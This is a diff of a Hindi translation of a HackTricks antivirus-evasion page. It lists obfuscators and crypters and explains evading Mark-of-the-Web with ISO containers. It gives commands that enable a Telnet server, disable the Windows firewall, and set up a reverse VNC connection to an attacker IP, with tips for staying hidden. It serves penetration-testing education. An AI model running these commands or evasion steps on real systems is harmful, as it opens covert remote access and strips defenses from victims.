* [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz एक x64 बाइनरी अस्पष्टता उपकरण है जो विभिन्न प्रकार की pe फ़ाइलों को अस्पष्ट करने में सक्षम है, जिसमें: .exe, .dll, .sys शामिल हैं
* [**metame**](https://github.com/a0rtega/metame): Metame एक साधारण मेटामॉर्फिक कोड इंजन है जो मनमाने निष्पादन योग्य के लिए है।
* [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscator एक बारीक-ग्रेन कोड अस्पष्टता ढांचा है जो ROP (रिटर्न-ओरिएंटेड प्रोग्रामिंग) का उपयोग करके LLVM-समर्थित भाषाओं के लिए है। ROPfuscator एक कार्यक्रम को असेंबली कोड स्तर पर अस्पष्ट करता है, सामान्य नियंत्रण प्रवाह की हमारी स्वाभाविक धारणा को बाधित करता है।
* [**Nimcrypt**](https://github.com/icyguider/nimcrypt): Nimcrypt एक .NET PE क्रिप्टर है जो Nim में लिखा गया है
* [**inceptor**](https://github.com/klezVirus/inceptor)**:** Inceptor मौजूदा EXE/DLL को शेलकोड में परिवर्तित करने और फिर उन्हें लोड करने में सक्षम है
## SmartScreen & MoTW
@ -256,17 +256,17 @@ Microsoft Defender SmartScreen एक सुरक्षा तंत्र ह
<figure><img src="../.gitbook/assets/image (664).png" alt=""><figcaption></figcaption></figure>
SmartScreen मुख्य रूप से एक प्रतिष्ठा-आधारित दृष्टिकोण के साथ काम करता है, जिसका अर्थ है कि असामान्य रूप से डाउनलोड की गई अनुप्रयोग SmartScreen को ट्रिगर करेगी, इस प्रकार अंतिम उपयोगकर्ता को फ़ाइल निष्पादित करने से रोक देगी (हालांकि फ़ाइल को अभी भी More Info -> Run anyway पर क्लिक करके निष्पादित किया जा सकता है)।
SmartScreen मुख्य रूप से एक प्रतिष्ठा-आधारित दृष्टिकोण के साथ काम करता है, जिसका अर्थ है कि असामान्य रूप से डाउनलोड की गई अनुप्रयोग SmartScreen को सक्रिय करेगी, इस प्रकार अंतिम उपयोगकर्ता को फ़ाइल निष्पादित करने से रोक देगी (हालांकि फ़ाइल को अभी भी More Info -> Run anyway पर क्लिक करके निष्पादित किया जा सकता है)।
**MoTW** (Mark of The Web) एक [NTFS Alternate Data Stream](https://en.wikipedia.org/wiki/NTFS#Alternate\_data\_stream\_\(ADS\)) है जिसका नाम Zone.Identifier है, जो इंटरनेट से फ़ाइलें डाउनलोड करते समय स्वचालित रूप से बनाया जाता है, साथ ही उस URL के साथ जिससे इसे डाउनलोड किया गया था।
<figure><img src="../.gitbook/assets/image (237).png" alt=""><figcaption><p>इंटरनेट से डाउनलोड की गई फ़ाइल के लिए Zone.Identifier ADS की जांच करना।</p></figcaption></figure>
{% hint style="info" %}
यह ध्यान रखना महत्वपूर्ण है कि **विश्वसनीय** साइनिंग सर्टिफिकेट के साथ साइन की गई निष्पादन योग्य फ़ाइलें **SmartScreen को ट्रिगर नहीं करेंगी**।
यह ध्यान रखना महत्वपूर्ण है कि **विश्वसनीय** साइनिंग सर्टिफिकेट के साथ साइन की गई निष्पादन योग्य फ़ाइलें **SmartScreen को सक्रिय नहीं करेंगी**।
{% endhint %}
आपके पेलोड को Mark of The Web से बचाने का एक बहुत प्रभावी तरीका उन्हें किसी प्रकार के कंटेनर जैसे ISO के अंदर पैकेज करना है। ऐसा इसलिए होता है क्योंकि Mark-of-the-Web (MOTW) **non NTFS** वॉल्यूम पर **लागू नहीं** किया जा सकता है।
आपके पेलोड को Mark of The Web से बचाने का एक बहुत प्रभावी तरीका उन्हें किसी प्रकार के कंटेनर जैसे ISO के अंदर पैकेज करना है। ऐसा इसलिए होता है क्योंकि Mark-of-the-Web (MOTW) **non NTFS** वॉल्यूम पर लागू **नहीं** किया जा सकता है।
<figure><img src="../.gitbook/assets/image (640).png" alt=""><figcaption></figcaption></figure>
@ -326,7 +326,7 @@ C# बाइनरीज़ को मेमोरी में लोड कर
## अन्य प्रोग्रामिंग भाषाओं का उपयोग करना
जैसा कि [**https://github.com/deeexcee-io/LOI-Bins**](https://github.com/deeexcee-io/LOI-Bins) में प्रस्तावित किया गया है, यह अन्य भाषाओं का उपयोग करके दुर्भावनापूर्ण कोड निष्पादित करना संभव है, जिससे समझौता की गई मशीन को **हमलावर द्वारा नियंत्रित SMB शेयर पर स्थापित इंटरप्रेटर वातावरण तक पहुंच** मिलती है
जैसा कि [**https://github.com/deeexcee-io/LOI-Bins**](https://github.com/deeexcee-io/LOI-Bins) में प्रस्तावित किया गया है, यह अन्य भाषाओं का उपयोग करके दुर्भावनापूर्ण कोड निष्पादित करना संभव है, जब आप समझौता की गई मशीन को **हमलावर द्वारा नियंत्रित SMB शेयर पर स्थापित इंटरप्रेटर वातावरण तक पहुंच** देते हैं
इंटरप्रेटर बाइनरीज़ और SMB शेयर पर वातावरण तक पहुंच प्रदान करके आप **समझौता की गई मशीन की मेमोरी में इन भाषाओं में मनमाना कोड निष्पादित कर सकते हैं।**
@ -338,7 +338,7 @@ C# बाइनरीज़ को मेमोरी में लोड कर
आप जिस भी वातावरण का सामना करेंगे, उसके अपने ताकत और कमजोरियाँ होंगी।
मैं आपको [@ATTL4S](https://twitter.com/DaniLJ94) से इस वार्ता को देखने की अत्यधिक सिफारिश करता हूँ, ताकि आप अधिक उन्नत बचाव तकनीकों में एक पैर जमाएँ
मैं आपको [@ATTL4S](https://twitter.com/DaniLJ94) से इस वार्ता को देखने की अत्यधिक सिफारिश करता हूँ, ताकि आप अधिक उन्नत बचाव तकनीकों में एक पैर रख सकें
{% embed url="https://vimeo.com/502507556?embedded=true&owner=32913914&source=vimeo_logo" %}
@ -348,9 +348,9 @@ C# बाइनरीज़ को मेमोरी में लोड कर
## **पुरानी तकनीकें**
### **जांचें कि डिफेंडर किन भागों को दुर्भावनापूर्ण मानता है**
### **जांचें कि डिफेंडर कौन से भागों को दुर्भावनापूर्ण मानता है**
आप [**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck) का उपयोग कर सकते हैं जो **बाइनरी के भागों को हटा देगा** जब तक कि यह **नहीं पता लगा लेता कि डिफेंडर** किस भाग को दुर्भावनापूर्ण मानता है और इसे आपके लिए विभाजित कर देगा।\
आप [**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck) का उपयोग कर सकते हैं जो **बाइनरी के भागों को हटा देगा** जब तक कि यह **नहीं पता चलता कि डिफेंडर** किस भाग को दुर्भावनापूर्ण मानता है और इसे आपके लिए विभाजित करता है।\
एक और उपकरण जो **समान कार्य करता है वह है** [**avred**](https://github.com/dobin/avred) जिसमें [**https://avred.r00ted.ch/**](https://avred.r00ted.ch/) पर सेवा प्रदान की जाती है।
### **Telnet सर्वर**
@ -359,7 +359,7 @@ Windows10 तक, सभी Windows में एक **Telnet सर्वर**
```bash
pkgmgr /iu:"TelnetServer" /quiet
```
इसे **शुरू** करें जब सिस्टम शुरू हो और **अब** इसे चलाएँ:
Make it **start** जब सिस्टम शुरू होता है और **run** इसे अब:
```bash
sc config TlntSVR start= auto obj= localsystem
```
@ -378,17 +378,17 @@ netsh advfirewall set allprofiles state off
* _VNC Password_ में एक पासवर्ड सेट करें
* _View-Only Password_ में एक पासवर्ड सेट करें
फिर, बाइनरी _**winvnc.exe**_ और **नए** बनाए गए फ़ाइल _**UltraVNC.ini**_ को **शिकार** के अंदर ले जाएँ
फिर, बाइनरी _**winvnc.exe**_ और **नए** बनाए गए फ़ाइल _**UltraVNC.ini**_ को **पीड़ित** के अंदर स्थानांतरित करें
#### **रिवर्स कनेक्शन**
**हमलावर** को अपने **होस्ट** के अंदर बाइनरी `vncviewer.exe -listen 5900` चलानी चाहिए ताकि यह रिवर्स **VNC कनेक्शन** को पकड़ने के लिए **तैयार** हो सके। फिर, **शिकार** के अंदर: winvnc डेमन शुरू करें `winvnc.exe -run` और चलाएँ `winwnc.exe [-autoreconnect] -connect <attacker_ip>::5900`
**हमलावर** को अपने **होस्ट** के अंदर बाइनरी `vncviewer.exe -listen 5900` चलानी चाहिए ताकि यह रिवर्स **VNC कनेक्शन** को पकड़ने के लिए **तैयार** हो सके। फिर, **पीड़ित** के अंदर: winvnc डेमन शुरू करें `winvnc.exe -run` और चलाएँ `winwnc.exe [-autoreconnect] -connect <attacker_ip>::5900`
**चेतावनी:** छिपे रहने के लिए आपको कुछ चीजें नहीं करनी चाहिए
**चेतावनी:** गुप्तता बनाए रखने के लिए आपको कुछ चीजें नहीं करनी चाहिए
* यदि `winvnc` पहले से चल रहा है तो इसे शुरू न करें या आप [पॉपअप](https://i.imgur.com/1SROTTl.png) ट्रिगर करेंगे। जांचें कि यह चल रहा है `tasklist | findstr winvnc`
* यदि उसी निर्देशिका में `UltraVNC.ini` नहीं है तो `winvnc` शुरू न करें या यह [कॉन्फ़िग विंडो](https://i.imgur.com/rfMQWcf.png) खोलेगा
* मदद के लिए `winvnc -h` न चलाएँ या आप [पॉपअप](https://i.imgur.com/oc18wcu.png) ट्रिगर करेंगे
* यदि `winvnc` पहले से चल रहा है तो इसे शुरू न करें या आप [पॉपअप](https://i.imgur.com/1SROTTl.png) को ट्रिगर करेंगे। जांचें कि यह चल रहा है `tasklist | findstr winvnc`
* यदि `UltraVNC.ini` उसी निर्देशिका में नहीं है तो `winvnc` शुरू न करें या यह [कॉन्फ़िग विंडो](https://i.imgur.com/rfMQWcf.png) को खोलेगा
* मदद के लिए `winvnc -h` न चलाएँ या आप [पॉपअप](https://i.imgur.com/oc18wcu.png) को ट्रिगर करेंगे
### GreatSCT
@ -569,7 +569,7 @@ https://github.com/praetorian-code/vulcan
* [https://github.com/persianhydra/Xeexe-TopAntivirusEvasion](https://github.com/persianhydra/Xeexe-TopAntivirusEvasion)
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
यदि आप **हैकिंग करियर** में रुचि रखते हैं और अचूक को हैक करना चाहते हैं - **हम भर्ती कर रहे हैं!** (_फ्लूएंट पोलिश लिखित और मौखिक आवश्यक है_)।
@ -583,8 +583,8 @@ GCP हैकिंग सीखें और अभ्यास करें: <
<summary>HackTricks का समर्थन करें</summary>
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) जांचें!
* **हमारे साथ जुड़ें** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **हम** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।**
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **हमारे** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** का पालन करें।**
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
</details>